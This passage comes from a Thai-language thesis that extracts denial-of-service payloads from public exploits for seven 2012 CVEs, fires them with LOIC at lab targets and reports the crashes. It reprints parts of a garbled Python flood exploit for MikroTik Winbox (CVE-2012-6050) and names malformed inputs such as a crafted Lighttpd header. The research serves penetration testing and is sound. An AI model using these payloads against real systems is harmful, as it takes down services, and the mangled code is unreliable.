                     f = dataReceived  # written 1st byte 
  time.sleep(0.001) 
  dataReceived = s.recv(0x101)  # 0x100 + 1 
  nextPartFingerprint = struct.unpack('>H', 
dataReceived[14:16])[0] 
  if dataReceived[0:1]=='\x02': 
   time.sleep(0.001) 
   f = dataReceived # written 1st chunk 0x102 
bytes with header in file. 
   dataReceived = s.recv(0x102) # 1st sequence of 
(0xFF 0xFF)                                                                                                                                                                
bytesToRead = int(dataReceived[len(dataReceived)- 2].encode('hex'), 

16) + 2 
   f = dataReceived # write the next 0x102 bytes 

(total 0x102+0x102 in file) 

  else: 
   print "[-] Wrong data received..( 2)" 
   sys.exit( 0) 
 else:                                                                                                                                                                                            
                                       print "[-] Wrong data received..( 1)" 
  sys.exit( 0) 
  
 finalPart= 0 
 bigFileCounter = 0xFFED 

 packetsCounted= 0  # counter for the 0x101 packet counts. 

Every time a file is requested this counter is 0 
 fileRequested= 0   # every time a file needs to 

be requested more than 1 time, this is it's counter. 

 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 (ตอ่) 
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try: 
  while 1: 
   s.send(RequestHeader + filename.ljust(12, 
'\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +
 struct.pack('>h',bigFileCounter)) 
   s.recv(1) 
   print '- Sending evil packet.. press CTRL-C to 
stop -' 
 except: 
  print 'Connection reseted by server.. trying attacking 
again' 
 
 
################################################################## 
################ SCRIPT BODY STARTS HERE########################## 
global RequestHeader 
RequestHeader = ('\x12\x02') 
global RequestFirstFooter 
RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')                                          
global winboxStartingIndex 
winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + 
RequestFirstFooter) 
winboxStartingFileReq=(RequestHeader + '\x00'*12 + 
RequestFirstFooter) 
 
print '\n[Winbox plugin downloader]\n\n' 
 
if len(sys.argv)==3: 
 if sys.argv[2]=='DoS':      
 # if i combine both checks in 1st if, there will be error.. 
guess why.. ;) 
  print '[+] Hmmm we gonna attack it..' 
  time.sleep(1) 
  speed=1 
  mikrotikIP = sys.argv[1] 
  filename = sys.argv[2] 
  while 1: 
   time.sleep(1) 
   try: 
    s = InitConnection(mikrotikIP, speed) 
    Flood(s) 
   except: 
    time.sleep(1)  if len(sys.argv)<>4: 
 print 'Usage : '+sys.argv[0]+' <mikrotik_ip> 
<filename_to_download> <speed>\n\t<speed>:\t [from 0 to 9] 
1=faster, 9=slower but more reliable\n' 
 sys.exit(0) 
 
mikrotikIP = sys.argv[1] 
filename = sys.argv[2] 
speed = int(sys.argv[3]) 
if speed>9 or speed<1: 
 print 'Speed must be between 1 and 9 else there are 
unexpected results!' 
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sys.exit(0)                                                                                                                                                                                  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((mikrotikIP, 8291)) 
s.send(winboxStartingIndex) 
data = s.recv(1024)   # receiving dll index from 
server 
s.close() 
 
if filename.find('*') > -1: 
 DllList = data.split('\x0a') 
 print 'Mikrotik\'s version is '+DllList[1].split(' 
')[3]+'\nThe following Dlls gonna be requested :' 
 for i in range(0, len(DllList)-1): 
  print DllList[i].split(' ')[2] 
 raw_input('> Press enter to continue <') 
 for extractedDlls in range(0, len(DllList)-1): 
print "[+] Requesting ", DllList[extractedDlls].split(' ')[2] 
  filename=DllList[extractedDlls].split(' ')[2] 
  s = InitConnection(mikrotikIP, speed) 
  download(filename, speed, s) 
else: 
 s = InitConnection(mikrotikIP, speed) 
 download(filename, speed, s)# BGP fail, whole router failure 
 

ภาพที* 4.27 รหสัคําสั*งโปรแกรมโจมตีผา่นชอ่งโหว ่CVE-2012-6050 (ตอ่) 

ถอดสว่นที*มีการสร้าง Socket เพื*อใช้งานการเชื*อมตอ่เครือข่าย ตอ่มาให้ถอดส่วน
ที*มีการกําหนดไอพีและพอร์ตออกไป ทั 'งนี 'ส่วนที*สําคญัที*สุดในรหสัคําสั*งโปรแกรมโจมตีผ่านช่อง
โหว่นี ' คือ ส่วนที*มีการเรียกใช้งานฟังก์ชนั Flood() ซึ*งจะทําหน้าที*ส่งข้อมูลที*มีผลทําให้เกิดการ
โจมตีแบบปฏิเสธการใช้งาน ทําให้สามารถมองเห็นส่วนเนื 'อข้อมลูได้ ดงัภาพพที* 4.28 สําหรับการ
จะสกดักระสนุออกมานั 'น จะพิจารณาแตล่ะส่วนจากชดุของ string ที*มารวมกนัด้วยตวัดําเนินการ 
concat หรือในที*นี 'คือ เครื*องหมาย (+) ดงันี ' 

1. จากภาพที* 4.27 มีการกําหนดคา่ให้ตวัแปร Request Header = \x12\x02                 

2. filename.ljust(12,’\x00’) จะได้ reteros.dll\x00 ดงัภาพที* 4.29 

3. จากภาพที* 4.27 มีการกําหนดคา่ให้ตวัแปร fileRequested = 0 ดงัภาพที* 4.30 เป็นการ
เรียกใช้งานผ่าน Python console เพื*อหาค่า struct.pack(‘=b’,fileRequested) จะได้
เทา่กบั \x00 
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4. จากภาพที* 4.27 มีการกําหนดคา่ให้ตวัแปร bigFileCounter = 0xFFED ดงัภาพที* 4.31 
เป็นการเรียกใช้งานผ่าน Python console เพื*อหาคา่ struct.pack(‘>0’, bigFileCounter) 
จะได้เทา่กบั \xff\xed 

 

 
ภาพที* 4.28 สว่นเนื 'อข้อมลูที*สามารถสกดัออกมาเป็นกระสนุสําหรับ CVE-2012-6050  

 

 
ภาพที* 4.29 แสดงคา่เฮกซ์โค้ดที*ได้จากซีสตรักในโปรแกรมภาษาไพธอน 

 

 
ภาพที* 4.30 แสดงคา่เฮกซ์โค้ดที*ได้จากซีสตรักในโปรแกรมภาษาไพธอน 

 



 
 

55 

 
ภาพที* 4.31 แสดงคา่เฮกซ์โค้ดที*ได้จากซีสตรักในโปรแกรมภาษาไพธอน 

 
ทั 'งนี ' จากตวัอย่างการสกัดกระสุน พบว่าส่วน hex code ที*ได้จะสามารถแปลง

เป็น ASCII ที*จะอยู่ในรูปของ ASICII printable characters สําหรับหน้าตาของกระสนุของซีวีอี
บางตวัที*ได้จะออกมาเป็น hex code ซึ*งแปลงค่ากลบัมาเป็น ASCII จะอยู่ในรูปของ ASCII 
control code  

 
ตารางที* 4.2 ความสมัพนัธ์ของซีวีอีที*เกี*ยวกบัประเภทของการโจมตีแบบปฏิเสธการใช้งาน 

ชื*อซีวีอี ประเภทของการโจมตีแบบปฏิเสธการใช้งาน 
CVE-2012-5533 DoS-malform 
CVE-2012-1783 DoS-malform 
CVE-2012-5329 DoS-malform 
CVE-2012-5905 DoS-malform 
CVE-2012-3845 DoS-malform 
CVE-2012-0292 DoS-malform 
CVE-2012-6050 DoS-flood 

 
 

4.3. การวางตาํแหน่งและการกาํหนดเป้า 
  หวัข้อนี 'กล่าวถึงการวางตําแหน่งซึ*งเกี*ยวข้องกับการระบทุอพอโลยีของเครือข่าย 
(network topology) ของเป้าหมายที*อยู่ภายในองค์กรและคณุสมบตัิของระบบที*เป็นเป้าหมาย
ผ่านทางคลงัทรัยากรของระบบในองค์กรและฐานข้อมูลของซีวีอีที*เกี*ยวกับการโจมตีแบบปฏิเสธ
การใช้งาน สําหรับคลงัทรัพยากรของระบบนี 'จะนําเสนอภาพรวมของเทคโนโลยีหรืออปุกรณ์ที*มีใช้
อยู่ภายในองค์กรและช่วยในการแยกแยะระบบที*ให้บริการข้ามผ่านเครือข่าย ข้อมลูที*อยู่บนซีวีอีที*
เกี*ยวกบัการโจมตีแบบปฏิเสธการใช้งานจะช่วยในการแจกแจงช่องทาง (port) หรือพิมพ์เขียวของ
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ระบบ (fingerprint) อันเป็นเป้าหมายเพื*อใช้ในการจัดวางแอลโอไอซีไว้ใกล้กับระบบที*เป็น
เป้าหมายและทําการเล็งเป้าของตวัปืนไปยงัที*อยู่ไอพีที*เหมาะสมและช่องทางอนัจําเป็นตอ่การทํา
การยิง 

4.3.1. การวางตาํแหน่ง (Placement) 

การวางตําแหน่งต้องคําถึงรูปแบบของการเชื*อมโยงเครือข่ายหรือทอพอโลยีซึ*ง
เป็นลกัษณะทางกายภาพของระบบเครือข่ายอนัหมายถึงลกัษณะของการเชื*อมโยงสายสื*อสารเข้า
กับอุปกรณ์และเครื* องคอมพิวเตอร์ภายในเครือข่าย ดังนั 'นทอพอโลยีแต่ละแบบนั 'นมีความ
เหมาะสมในการใช้งานที*แตกต่างกันออกไป ฉะนั 'นการนําไปใช้จึงมีความจําเป็นที*จะต้อง
ทําการศกึษาลกัษณะและคณุสมบตัิ ข้อดีและข้อเสียของทอพอโลยีแตล่ะแบบเพื*อนําไปใช้ในการ
ออกแบบพิจารณาการวางตําแหนง่ทดสอบยิงของแอลโอไอซีให้เหมาะสม 

4.3.2. การกาํหนดเป้า (Targeting) 

สําหรับการกําหนดเป้านั 'นอาศัยการเลือกเป้าหมายแบบเจาะจง (selective 
targeting) ทั 'งนี 'จะมีการกําหนดช่องทางหรือพอร์ตรวมทั 'งที*อยู่ไอพีของเป้าหมายที*ดําเนินการ
ให้บริการผา่นเฉพาะโพรโทคอลที*แอลโอไอซีรองรับเทา่นั 'น 
 
4.4 การยงิปืน 
  หวัข้อนี 'กลา่วถึงรูปแบบของบทคําสั*งเพื*อใช้ในการสั*งการแอลโอไอซีผ่านทางส่วน
ประสานงานเชิงฟังก์ชนั 

4.4.1. บทคาํสั�งควบคุมการยงิ (Fire control scripting) 

สําหรับการยิงของแอลโอไอซีประกอบด้วย 2 ขั 'นตอน คือ ขั 'นตอนการตั 'งคา่เพื*อ
สร้างบทคําสั*งควบคมุการยิง (fire control script) ซึ*งในงานวิจยันี 'ได้นําโปรแกรมภาษาไพธอนมา
ปรับใช้ให้เข้ากับวิธีการยิง (firing solution) ซึ*งประกอบไปด้วยตวัแปรต่างๆ ที*ส่งผลต่อการยิง 
อย่างเช่น ต้องยิงด้วยโพรโทคอลแบบไหน, ยิงผ่านช่องทางหรือพอร์ตไหน เป็นต้น ขั 'นตอนการส่ง
บทคําสั*งนั 'นไปพิจารณา (submission) ซึ*งในการทดลองของงานวิจยันี 'ได้ใช้บทคําสั*งควบคมุการ
ยิงเพื*อไปสั*งการแอลโอไอซีผ่านทางตวัชี 'แหล่งในอินเทอร์เน็ต (universal resource locator) หรือ 
ยอูาร์แอล (URL)  ของสว่นประสานงานเชิงฟังก์ชนัให้ดําเนินการตามชดุคําสั*งที*ได้มีการกําหนดไว้
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ในบทคําสั*งควบคมุการยิง สําหรับตวัอย่างบทคําสั*งในการตั 'งคา่การทํางานให้กบัแอลโอไอซีแสดง
ได้ดงัภาพที* 4.32 

 

 
ภาพที* 4.32 ตวัอย่างบทคําสั*งในการตั 'งคา่การทํางานให้กบัแอลโอไอซี 

สําหรับตวัอยา่งบทคําสั*งเริ*มการยิงให้แอลโอไอซีแสดงได้ดงัภาพที* 4.33 
 

 
ภาพที* 4.33 ตวัอย่างบทคําสั*งเริ*มการยิงให้แอลโอไอซี 

 
สําหรับตวัอยา่งบทคําสั*งหยดุการยิงให้แอลโอไอซีแสดงได้ดงัภาพที* 4.34 

 

 
ภาพที* 4.34 ตวัอย่างบทคําสั*งหยดุการยิงให้แอลโอไอซี 

 

4.4.2. อัตราการยงิ (Rate of Firing) 
หวัข้อนี 'กลา่วถึงอตัราการยิงของแอลโอไอซีซึ*งคํานวณจากสมการ 

T = 8fsd                                   (1) 
โดยที* 
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f =ความถี* (frequency) เป็นจํานวนของกลุม่ข้อมลู หรือกระสนุตอ่วินาทีที*แอลโอ
ไอซีสามารถยิงไปยงัเป้าหมายได้ 

s = ขนาด (size) เป็นจํานวนไบต์ของกระสนุแตล่ะนดั 
d = ระยะเวลา (duration) เป็นระยะเวลาของการยิง 
T = ผลรวม (total) ของอตัราการยิง คณูด้วย 8 ได้หนว่ยเป็น บิตตอ่วินาที 
ทั 'งนี 'ขีดจํากดัของการยิงดงักลา่วนั 'นยงัขึ 'นอยู่กบัสมรรถนะของการเชื*อมตอ่

เครือข่าย (network interface) ของแอลโอไอซี รวมไปถึงสมรรถนะของเครือข่ายจากแอลโอไอซีไป
ยงัเป้าหมายด้วย 

 

4.5 การตรวจการณ์ผลการยงิ 
  ในส่วนนี 'กล่าวถึงการตรวจการณ์เป้า (surveillance) เพื*อใช้สําหรับเป็นแนวทาง
ในการตรวจการณ์ผลการยิงของแอลโอไอซีสําหรับนํามาใช้เป็นผลลัพธ์ที*ได้จากการทดสอบ 
สําหรับการตรวจการณ์เป้านั 'นเกี*ยวเนื*องกบัการเฝ้าสงัเกต (monitor) ผลสําเร็จในการโจมตีไปยงั
เป้าหมายตามแนวทางระบบอาวธุของทหารปืนใหญ่สนาม 

4.5.1. การตรวจการณ์ด้านหน้าเป้า (External Surveillance) 

การตรวจการณ์ด้านหน้าเป้านั 'น ในงานวิจยันี 'ได้นําเอา Wireshark [28] มาใช้
สําหรับเป็นเครื*องมือในการวิเคราะห์กลุ่มข้อมลู (packet analyzer) เพื*อตรวจดสู่วนเนื 'อข้อมลูจาก
กลุม่ข้อมลูของแอลโอไอซีที*ได้มีการบรรจกุระสนุแล้วยิงออกไปยงัเป้าหมาย รวมทั 'งการตรวจดกูาร
ตอบสนอง (response) จากเป้าหมายอีกด้วย ซึ*งตัวอย่างรูปแบบของกลุ่มข้อมูลที*ตรวจจับ 
(captured packet) โดย Wireshark แสดงได้ดงัภาพที* 4.35 

 

 
ภาพที* 4.35 ตวัอย่างรูปแบบของกลุม่ข้อมลูที*ตรวจจบัได้โดย Wireshark 
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ภาพที* 4.36 แสดงให้เห็นถึงระยะเวลาตั 'งแตก่ลุม่ข้อมลูชดุแรกจนถึงกลุม่ข้อมลูชดุ
สดุท้ายที* Wireshark สามารถดกัจบัไว้ได้ 

 

 
ภาพที* 4.36 ตวัอย่างรูปแบบข้อมลูเชิงสถิตจิาก Wireshark 

ภาพที* 4.37 แสดงการใช้ Wireshark ในการตรวจการณ์หน้า ทั 'งนี 'เพื*อต้องการดกั
จบักลุม่ข้อมลูที*ได้จากการยิงกระสนุออกไปของแอลโอไอซี  

 

 
ภาพที* 4.37 แสดงการใช้ Wireshark เพื*อตรวจการณ์หน้า 

 
4.5.2. การตรวจการณ์ด้านหลังเป้า (Internal Surveillance) 

ในงานวิจัยนี 'ได้มีการใช้โปรแกรมตรวจสอบระบบ (system monitor) มาเป็น
เครื*องมือในการตรวจด้านการณ์หลงัเป้าโดยทําการตรวจดกูารงานของระบบ (system service) ที*
กําลังทํางานอยู่และสมรรถนะทางด้านการใช้งานทรัพยากรทั 'งก่อนและหลังการโจมตีเครื*อง
เป้าหมาย อย่างเช่น ซีพีย ู(CPU) หน่วยความจํา (RAM) แบนวิดท์ การทํางานของจานบนัทึก เป็น
ต้น วา่กําลงัทํางานหนกัอยูห่รือไมห่รือมีการใช้งานทรัพยากรใดบ้าง ใช้ไปแล้วเทา่ไหร่ 
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ตารางที* 4.3 คําสั*งของโปรแกรมตรวจสอบระบบที*ใช้ 

 
ตารางที* 4.3 แสดงให้เห็นถึงรายการคําสั*งของโปรแกรมตรวจสอบระบบที*ใช้

เพื*อให้ได้ผลลพัธ์จากการทดสอบยิงซีวีอีแตล่ะตวั 

  

คําสั*งที*ใช้ ใช้สําหรับ ระบบปฏิบตักิาร 
iostat ตรวจสอบการใช้งาน input/output ของ

ฮาร์ดดสิก์และซีพีย ู
Linux 

Netstat ตรวจสอบการใช้งานด้านเครือขา่ย Linux/Windows 
Vmstat ตรวจสอบการใช้งานด้านหน่วยควมจํา Linux 

Ps ตรวจสอบว่าโปรเซสใดทํางานอยู่บ้าง Linux 
/tool profile ตรวจสอบการใช้งานด้านซีพียขูองตวัจดั

เส้นทาง 
MikroTik RouterOS 

system resource print ตรวจสอบการใช้งานด้านทรัพยากรระบบ
ของตวัจดัเส้นทาง เช่น หนว่ยความจํา การ
อา่นเขียนของฮาร์ดดสิก์และซีพีย ูเป็นต้น 

MikroTik RouterOS 
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บทที�  5 

การทดสอบและอภปิรายผลการวิจัย 

  ในบทนี 'ได้แสดงให้เห็นถึงการยิงทดสอบกบัซีวีอีด้วยกระสนุแตล่ะแบบที*สามารถ
สกดัออกมาได้จากรหสัโปรแกรมสําหรับโจมตีผ่านชอ่งโหว ่โดยได้ทําการยิงทดสอบกบั 7 
เป้าหมายตามข้อมลูที*ได้จากซีวีอี 7 ตวั ที*สามารถชว่ยในการพิสจูน์ระเบียบวิธีการที*งานวิจยันี 'ได้
นําเสนอไว้ก่อนหน้านี 'ได้ สําหรับการยิงทดสอบกบัซีวีอีนั 'น แสดงได้ดงัตอ่ไปนี '  

5.1. การยงิทดสอบ CVE-2012-5533 

เป้าหมายที*ใช้ในการยิงทดสอบกบัซีวีอีนี ' คือ ตวับริการเว็บ Lighttpd รุ่น 1.4.31 
ติดตั 'งบนระบบปฏิบตัิการ Debian รุ่น 6.0.0 (squeeze) stable distribution มีจุดอ่อนอยู่ที*
ฟังก์ชนั http_request_split_value function ใน request.c ซึ*งเป็นประโยชน์ต่อการโจมตีแบบ
ปฏิเสธการใช้งานผ่านทางการส่งคําร้องขอใช้บริการที*แนบเฮดเดอร์ (header) ซึ*งใช้รหัสคําสั*ง 
Connection: TE,,Keep-Alive ได้ 

 

 
ภาพที* 5.1 กระสนุสําหรับ CVE-2012-5533 

 

 
ภาพที* 5.2 อาการหลงัการยิง CVE-2012-5533 

ภาพที* 5.1 แสดงกระสนุที*สามารถสกดัออกมาได้จากโปรแกรมสําหรับโจมตีผ่าน
ช่องโหว่ตาม CVE-2012-5533 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดอาการไม่ตอบสนองตอ่คํา
ร้องขอใช้บริการที*เข้ามาในครั 'งถดัไป ดงัภาพที* 5.2 
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5.2. การยงิทดสอบ CVE-2012-1783 

เป้าหมายที*ใช้ในการยิงทดสอบกบัซีวีอีนี ' คือ ตวับริการเว็บ Tiny Server รุ่น 1.1.5 
ตดิตั 'งบน Windows รุ่น XP Professional SP 3 มีจดุออ่นซึ*งเป็นประโยชน์ตอ่การโจมตีแบบปฏิเสธ
การใช้งานผ่านทางการส่งคําร้องขอใช้บริการที*ประกอบด้วยสายอกัขระยาวซึ*งปราศจากตวัเลข
กํากบัรุ่นของโพรโทคอล HTTP  

 

 
ภาพที* 5.3 กระสนุสําหรับ CVE-2012-1783 

 

  
ภาพที* 5.4 อาการหลงัการยิง CVE-2012-1783 

ภาพที* 5.4 แสดงกระสนุที*สามารถสกดัออกมาได้จากโปรแกรมสําหรับโจมตีผ่าน
ชอ่งโหว ่CVE-2012-1783 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดการล่ม (crash) ทนัทีไม่สามารถ
ให้บริการได้ ดงัภาพที* 5.4 
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5.3. การยงิทดสอบ CVE-2012-5329 

เป้าหมายที*ใช้ในการยิงทดสอบกบัซีวีอีนี ' คือ ตวับริการรับ-ส่งไฟล์ Typesoft FTP 
server รุ่น 1.1 ติดตั 'งบน Windows 7 รุ่น build 7600 มีจดุอ่อนซึ*งเป็นประโยชน์ตอ่การโจมตีแบบ
ปฏิเสธการใช้งานผา่นทางสายอกัขระยาวที*มากบัคําสั*ง APPE  

 

 
ภาพที* 5.5 กระสนุสําหรับ CVE-2012-5329 

 

 
ภาพที* 5.6 อาการหลงัการยิง CVE-2012-5329 

ภาพที* 5.5 แสดงกระสนุที*สามารถสกดัออกมาได้จากโปรแกรมสําหรับการโจมตี
ผ่านช่องโหว่ตาม CVE-2012-5329 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดการล่ม (crash) ทนัที
ไม่สามารถให้บริการได้ อีกทั 'งยงัส่งผลกระทบในช่วงเวลาที*ทําการยิงด้วย นั*นคือ เกิดการใช้งาน
หนว่ยความจําเตม็ ดงัภาพที* 5.6 
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5.4. การยงิทดสอบ CVE-2012-5905 

เป้าหมายที*ใช้ในการยิงทดสอบกับซีวีอีนี ' คือ ตัวบริการรับ-ส่งไฟล์ KnFTPd 
server รุ่น 1.0.0 ติดตั 'งบน Windows รุ่น XP Professional SP 3 มีจดุอ่อนซึ*งเป็นประโยชน์ตอ่การ
โจมตีแบบปฏิเสธการใช้งานผา่นทางสายอกัขระยาวที*มากบัคําสั*ง FEAT   

 

 
ภาพที* 5.7 กระสนุสําหรับ CVE-2012-5905 

 

  
ภาพที* 5.8 อาการหลงัการยิง CVE-2012-5905 

ภาพที* 5.7 แสดงกระสนุที*สามารถสกดัออกมาได้จากโปรแกรมสําหรับการโจมตี
ผ่านช่องโหว่ตาม CVE-2012-5905 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดการล่ม (crash) ทนัที
ไมส่ามารถให้บริการได้ ดงัภาพที* 5.8 
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5.5. ผลการยงิทดสอบ CVE-2012-3845 

เป้าหมายที*ใช้ในการยิงทดสอบกับซีวีอีนี ' คือ โปรแกรมการสนทนา LAN 
Messenger รุ่น 1.2.28 ติดตั 'งบนระบบปฏิบตัิการ Debian รุ่น 6.0.0 (squeeze) stable 
distribution มีจุดอ่อนซึ*งเป็นประโยชน์ต่อการโจมตีแบบปฏิเสธการใช้งานผ่านทางการส่งสาย
อกัขระยาว ดงัแสดงในภาพที* 5.9 

 

 
ภาพที* 5.9 กระสนุสําหรับ CVE-2012-3845 

ภาพที* 5.9 แสดงกระสนุที*สามารถสกดัออกมาได้จากโปรแกรมสําหรับการโจมตี
ผ่านช่องโหว่ตาม CVE-2012-3845 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดการล่มจนเป็นเหตใุห้
ถกูตดัขาดออกจากการสนทนา 
 

5.6. ผลการยงิทดสอบ CVE-2012-0292 

สําหรับ CVE-2012-0292 เป้าหมายที*ใช้ในการยิงทดสอบคือ ตวับริการใช้งาน
เครื*องลกูข่ายจากระยะไกล Symantec pcAnywhere รุ่น 12.5 build 265 ติดตั 'งบน Windows รุ่น 
XP Professional SP 3 มีจดุอ่อนซึ*งเป็นประโยชน์ตอ่การโจมตีแบบปฏิเสธการใช้งานผ่านทางการ
สง่สายอกัขระบนโพรโทคอล TCP พอร์ต 5631  



 
 

66 

 
ภาพที* 5.10 กระสนุสําหรับ CVE-2012-0292 

 

  
ภาพที* 5.11 อาการหลงัการยิง CVE-2012-0292 

ภาพที* 5.10 แสดงกระสุนที*สามารถสกัดออกมาได้จากโปรแกรมสําหรับโจมตี
ผ่านช่องโหว่ CVE-2012-0292 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายเกิดการล่ม ดงัภาพที* 5.11 จะ
เห็นได้วา่ไมมี่การใช้งานผา่นพอร์ต 5631  
 

5.7. ผลการยงิทดสอบ CVE-2012-6050 

สําหรับ CVE-2012-6050 เป้าหมายที*ใช้ในการยิงทดสอบคือ ตวับริการ Winbox 
ที*ทําให้ผู้ดแูลระบบสามารถเข้าไปตรวจดอูปุกรณ์จดัเส้นทาง (router) จากระยะไกล ซึ*งทํางานอยู่
บนระบบปฏิบตัิการ MikroTik RouterOS รุ่น 5.15 ซึ*งเป็นระบบปฏิบตัิการที*ทางผู้ผลิตได้นํามา
พฒันาใช้งานอยู่บนพื 'นฐานลินกุซ์แพลตฟอร์มที*มีเคอร์เนล (kernel) รุ่น 2.6.x มีจุดอ่อนซึ*งเป็น
ประโยชน์ตอ่การโจมตีแบบปฏิเสธการใช้งานผา่นทางการสง่คําร้องขอใช้บริการที*ประกอบด้วยสาย
อกัขระเพื*อใช้ในการร้องขอไฟล์ roteros.dll   

 

 
ภาพที* 5.12 กระสนุสําหรับ CVE-2012-6050 
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ภาพที* 5.13 อาการหลงัการยิง CVE-2012-6050 

ภาพที* 5.12 แสดงกระสุนที*สามารถสกัดออกมาได้จากโปรแกรมสําหรับโจมตี
ผ่านช่องโหว่ CVE-2012-6050 ซึ*งหลงัจากทําการยิงแล้วเป้าหมายทําให้ตวับริการ Winbox ที*
ทํางานผา่นเครื*องลกูขา่ยขาดการตดิตอ่จากอปุกรณ์จดัเส้นทาง ดงัภาพที* 5.13 



 
 

68 

บทที�  6 

สรุปผลการวิจัย 

6.1. สรุปผลที�ได้รับจากงานวิจัย 

งานวิจยันี 'ได้พฒันาเครื*องมือเพื*อชว่ยในการทดสอบหาช่องโหว่ ทําให้ผู้ดแูลระบบ
ค้นพบช่องโหว่และทราบถึงปัญหาของช่องโหว่ที*เกิดขึ 'น ทําให้สามารถหาแนวทางป้องกนัแก้ไขได้
อยา่งถกูต้อง 

ตารางที* 6.1 ผลการยิง 

ชื*อซีวีอี 

ขนาด
กลุม่

ข้อมลู 
(ไบต์) 

จํานวน
กระสนุที*
ใช้ยิง(นดั) 

ระยะหา่ง
ของ

กระสนุแต่
ละนดั

(วินาที) 

ระยะเวลา
(วินาที) 

ผลการยิง 

CVE-2012-5533 112 1 - 0.042 เกิดอาการลม่ 
CVE-2012-1783 60 5 0.698 3.49 เกิดอาการลม่ 

CVE-2012-5329 1500 8 0.513 4.11 
เกิดอาการลม่และมี

การใช้งาน
หนว่ยความจําเตม็ 

CVE-2012-5905 1500 10 0.426 4.26 เกิดอาการลม่ 
CVE-2012-3845 1500 8 0.036 0.29 เกิดอาการลม่ 
CVE-2012-0292 52 1 - 0.004 เกิดอาการลม่ 

CVE-2012-6050 52 150 600 
90000 

(25 นาที) 

ตวับริการที*ทํางาน
บนเครื*องลกูขา่ย
หลดุจากการใช้

บริการ 

  จากตารางที* 6.1 ที*แสดงผลการยิง พบว่าซีวีอีแตล่ะตวันั 'นใช้เวลาในการทดลอง
แตกต่างกันขึ 'นอยู่กับจุดอ่อนของเป้าหมายและกระสุนที*สกัดออกมา ตัวอย่างเช่น CVE-2012-
6050 ใช้เวลานานที*สุดถ้าเทียบกับซีวีอีตวัอื*นในตารางผลการยิง เนื*องจาก CVE-2012-6050 มี
จดุออ่นซึ*งเป็นประโยชน์ตอ่การโจมตีแบบปฏิเสธการใช้งานประเภท DoS-flood จําเป็นต้องใช้เวลา
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เพื*อให้เกิดการใช้งานด้านหน่วยความจําให้หมดไป โดยอาศยัการส่งคําร้องขอไฟล์ retoros.dll ไป
ยังเป้าหมาย เป็นต้น สําหรับงานวิจัยนี 'ได้เน้นไปที*ผลลัพธ์จากการยิงทดสอบเพื*อตระหนักถึง
ปัญหาและผลกระทบที*เกิดจากชอ่งโหว ่เพื*อใช้ในการศกึษาเรื*องการทดสอบเจาะระบบ และความ
สะดวกตอ่การโจมตีผา่นชอ่งทางเพื*อเข้าถึงระบบ  

งานวิจยัได้พฒันาระบบการโจมตีแบบปฏิเสธการใช้งานโดยใช้ซีวีอีเป็นข้อมลูใน
การชี 'เป้าเพื*อนํามาใช้สําหรับการทดสอบเจาะระบบช่วยให้ผู้ดูแลระบบตระหนักความเข้มงวด
ทางด้านความปลอดภยัของระบบ งานวิจยันี 'ได้แสดงแนวทางในการค้นหาโปรแกรมสําหรับโจมตี
ผ่านช่องโหว่ตามข้อมลูซีวีอีที*ได้มีการคดัสรรแล้วเพื*อนํามาสกดักระสนุออกมาให้กบัแอลโอไอซีใช้
ในการทดสอบยิงเจาะระบบอย่างอตัโนมตัิ โดยควบคมุการยิงจากบทคําสั*งทําให้ผู้ดแูลระบบได้
เห็นภาพของปัญหาและผลกระทบของช่องโหว่ที*ค้นพบได้ชดัเจนมากขึ 'น เพื*อนําผลลพัธ์ไปใช้ใน
การปรับปรุงด้านความปลอดภัยของระบบ ทั 'งนี 'ผู้ดูแลระบบจําเป็นต้องรู้ถึงส่วนที*จําเป็นในการ
ทดสอบ และเข้าใจข้อมลูจากซีวีอีเพื*อใช้ในการทดสอบให้ถกูต้อง 

สําหรับแอลโอไอซีนั 'น ไมไ่ด้ดีกวา่เครื*องมือที*ใช้ในการโจมตีแบบปฏิเสธการใช้งาน
ตวัอื*นในแง่ของการนําไปใช้งาน แต่สําหรับกระสุนที*นํามาให้แอลโอไอซีนําไปใช้ทดสอบยิงนั 'น
สามารถรวบรัดขั 'นตอนของการโจมตีผ่านช่องโหว่แบบหลายขั 'นให้เหลือเพียงกระสุนที*สามารถ
นําไปใช้ยิงได้ทนัที ทั 'งนี 'ผู้ วิจยัได้มีการคดิค้นการสกดักระสนุขึ 'นมาซึ*งได้ถกูนํามาใช้เป็นแนวทางอนั
จะนําไปสูแ่นวทางการค้นหากระสนุที*ใช้สําหรับการยิงโจมตีและเทคนิคการยิงรูปแบบใหม่อีกมาก
ที*ยงัคงรอคอยการค้นพบเพื*อนํามาปรับใช้กบัแอลโอไอซี 

6.2. ข้อจาํกัดของงานวิจัย 

ในด้านการนําเอาแอลโอไอซีมาเป็นเครื*องมือการโจมตีแบบปฏิเสธการใช้งานนั 'น
มีข้อจํากัดในเรื*องโพรโทคอลที*แอลโอไอซีรองรับทําให้ไม่สามารถยิงทดสอบได้กับเป้าหมายผ่าน
ทางโพรโทคอลที*หลากหลาย อย่างเช่น โพรโทคอล SCTP ตาม CVE-2012-3549 หรือ โพรโทคอล 
IGMP ตาม CVE-2012-0207 เป็นต้น อีกทั 'งการนําเอาซอฟต์แวร์ที*เป็นเป้าหมายมาใช้ในการ
ทดสอบตามที*ซีวีอีชี 'นํานั 'นติดปัญหาเรื*องการคุ้มครองด้านลิขสิทธิ8ทางซอฟต์แวร์จึงทําให้สามารถ
ทดสอบกบัเป้าหมายที*เป็นแบบรหสัต้นฉบบัเสรี (freeware) หรือแชร์แวร์ (shareware) ได้เพียง 7 
ตวั เทา่นั 'น  
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6.3. ข้อเสนอแนะ 

6.3.1. ทําให้แอลโอไอซีรองรับการใช้งานจากโพรโทคอลอื*น เช่น SCTP, IGMP 
เป็นต้น  

6.3.2. หากระสนุเพิ*มเตมิจากซีวีอีทั 'งในปีก่อนหน้านี 'และหลงัปี 2012 

6.3.3. ค้นหาแนวทางการวางตําแหน่งและกําหนดเป้าเพื*อปรับปรุงการใช้งาน
